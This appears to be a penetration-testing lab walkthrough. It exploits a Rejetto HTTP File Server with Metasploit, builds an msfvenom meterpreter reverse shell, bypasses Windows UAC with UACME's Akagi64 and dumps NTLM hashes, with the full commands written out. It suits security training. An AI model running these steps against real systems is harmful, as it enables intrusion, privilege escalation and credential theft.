Lab
Fingerprint the application, exploit it with the right Metasploit module, then bypass UAC using the UACME tool.
UACME
- Defeat Windows User Account Control (UAC) and get Administrator privileges.
- It abuses the built-in Windows AutoElevate executables.
- It has 65+ methods that can be used by the user to bypass UAC depending on the Windows OS version.
- Developed by https://twitter.com/hFireF0X
- Written majorly in C, with some code in C++
Objective: Gain the highest privilege on the compromised machine and get admin user NTLM hash.
Check the users and the local administrators group first.
net users
net localgroup administrators
Nmap Scan
Vulnerable HTTP File Server (Port 80)
Exploit with MSFconsole
The scan shows a vulnerable Rejetto HTTP File Server, so exploit it for the initial session.
setg RHOSTS 10.4.29.225
use exploit/windows/http/rejetto_hfs_exec
exploit
Migrate to a stable service once the session lands; explorer usually works.
Confirm admin is a part of the administrators group.
Bypass UAC and Inject/Start msfvenom Payload
Following the hfiref0x/UACME GitHub, build a payload and set up a handler for it.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.80.2 LPORT=1337 -f exe > backdoor.exe
Launch a new MSF tab for the listener.
use exploit/multi/handler
set LHOST 10.10.80.2
set LPORT 1337
set PAYLOAD windows/meterpreter/reverse_tcp
From the Other Metasploit Tab
Upload the payload and the UACMe binary to a Temp directory.
cd C:\\
mkdir Temp
cd Temp
upload backdoor.exe
upload /root/Desktop/tools/UACME/Akagi64.exe
Run Akagi64 with a method key (the full list is in the GitHub repo) to launch the backdoor with UAC bypassed.
.\Akagi64.exe 23 C:\Temp\backdoor.exe
23 = key # a list is in the GitHub repo
From the Meterpreter session, migrate to a service running as NT AUTHORITY\SYSTEM.
Dump Hashes
Run hashdump and grab the admin NTLM hash.